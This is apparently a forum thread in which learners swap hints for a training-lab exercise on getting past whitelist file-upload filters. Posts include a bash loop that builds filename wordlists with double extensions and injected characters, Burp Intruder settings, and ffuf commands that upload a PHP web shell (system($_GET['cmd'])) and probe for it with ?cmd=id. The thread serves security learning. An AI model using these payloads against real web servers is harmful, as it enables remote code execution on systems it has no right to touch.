File Upload Attacks - Whitelist Filters

[dougthonus]

Was stuck here for a long time trying to get character injection techniques to work and was not successful. I was able to upload files successfully with character injection but attempts to reference them always came back as 404. I thought this was working because phps was giving me no permissions, but I found anything.phps gave the same error so that message wasn’t indicative of anything.

The advice in this thread around expanding the extensions beyond what you use in the scirpt is helpful and then what I noticed is that phar and phtml had a lot more “successes” than php with character injection, even though I didn’t use character injection this sparked the realization that they were treated differently and a more simple approach with those might work.

Wish I had been able to get character injection going, I tried doing teh curl script after the upload script but just got not found on every file link. Also tried just removing the characters since I would think the goal is that these injections save your file as shell.php but that didn’t work either. In the end, still got there though.

[pavka]

Qick tipp: the example from " Reverse Double Extension" works fine for this task (but not with .php, try different one)

[DGM]

Also can try this tool: GitHub - almandin/fuxploider: File upload vulnerability scanner and exploitation tool.

[mattdragon2]

Let me clear up the hint cause it came off a bit confusing.
You can solve it using either

• Reverse Double Extension
• Character Injection

Reverse Double Extension:

=======================
The easier one to solve.
Create a wordlist where file:

• Starts with a php extension ie php
• Ends in a picture format ie jpg
  Something like shell.php.jpg

=======================

Character Injection

======================
Trickier becase you can get file successful for a lot of results. However when trying to open the url of them you get 404 not found.
I did notice if you open some via the webpage - right click open image in new tab, the url would be different, but no need to go down this rabbit hole as I did and none of them worked either.
All I can do is expand on what “magic” said because they were right.

Ceate a wordlist from the page it gives you and add some extra php extensions only ie php5, pht, phtml etc
After intruder has finished, run the script “magic” provided.
You will eventually get a 200 response. That’s where the shell is.
Otherwise you will be looking at over 300 that were successfully uploaded manually.

[naclapor]

Create wordlist.txt

for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
  for ext in '.php' '.phps' '.phar' '.phtml'; do
    echo "hack$ext.jpg" >> wordlist.txt
    echo "hack$ext.jpg" >> wordlist.txt
    echo "hack.jpg$ext" >> wordlist.txt
    echo "hack.jpg$ext" >> wordlist.txt
    echo "hack$ext.png" >> wordlist.txt
    echo "hack$ext.png" >> wordlist.txt
    echo "hack.png$ext" >> wordlist.txt
    echo "hack.png$ext" >> wordlist.txt
    echo "hack$ext.jpeg" >> wordlist.txt
    echo "hack$ext.jpeg" >> wordlist.txt
    echo "hack.jpeg$ext" >> wordlist.txt
    echo "hack.jpeg$ext" >> wordlist.txt
  done
done

Burp → Intruder → Payloads → Load… wordlist.txt
Burp → Intruder → Payloads → uncheck Payload Encoding
Burp → Intruder → Options → Grep - Match → “Extension not allowed” & “Only images are allowed”

[Burch]

This took too many hours for me to complete. The steps I took to complete this task:

1. Looking at the source code of script.js you need .jpg, .png, or .jpeg at the end of the filename.

2. Then with the word list creator code in this module run a for loop on the php extensions so you have an output like shell.php.jpg where .php is something else.

3. Then run this word list through burp intruder with payload encoding off. Then I scrolled through and found which ones successfully uploaded and tried those.

4. You can also use burp intruder to find which images you can view. Make sure encoding is off and they will return 200 OK. There are two php extensions that work.

[Mrmojo]

Took a loooooooooooong time, but persistence pays off.

As Burch stated, you can see which ext are allowed in the source code: .jpg, .png, or .jpeg at the end of the filename
If you use intruder to add those suffix one at a time with a complete list of your other extensions, try the ones that successfully upload.
Then get your flag and go have a beverage.

[benben]

well actually this section is a hard one.
all you need to understand it is:

1.The script within the section for fuzzing different extension must include more php extensions which we’re already familiar within the section.

2. try run a simple php code instead of a photo content so it’ll be easier for you to observe if the code actually executed.

3. Work in stages when you using burp. TBH i didn’t use any of the scripts for returning http responses using curl. All i used was burp and modifying the script within the section. in order to retrive pages you can use burp intruder also.

4. after you understood which kind of payloads actually can upload a file minimize your list to include them-it will be faster to observe the results when you requesting each file

[Akami00]

Adding my two cents here - it’s far easier to solve this exercise with ffuf than with the commercial version of BurpSuite. The throttling is waisting way too much time. You need 2 ffuf commands, one to upload the files and one to try to retrieve them with the {...}?cmd=id to see which ones return the desired responses.

Use Burp just to get the request and copy it as a curl command, it’s really easy to convert it to ffuf syntax from there. It still ends up looking a little convoluted in the terminal but it’s not too bad and takes seconds to run vs the ~20-30 mins it takes w. Burp.

Syntax:

• Upload: ffuf -w wordlist.txt:FUZZ -X 'POST' -u http://83.136.254.158:34152/upload.php -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryitUbq2yCeq0Acg5S' --data-binary $'------WebKitFormBoundaryitUbq2yCeq0Acg5S\x0d\x0aContent-Disposition: form-data; name=\"uploadFile\"; filename=\"FUZZ\"\x0d\x0aContent-Type: image/jpeg\x0d\x0a\x0d\x0a<?php system($_GET[\"cmd\"]); ?>\x82\x0d\x0a------WebKitFormBoundaryitUbq2yCeq0Acg5S--\x0d\x0a'
• Download: ffuf -w wordlist.txt:FUZZ -u http://83.136.254.158:34152/profile_images/FUZZ?cmd=id -fs 279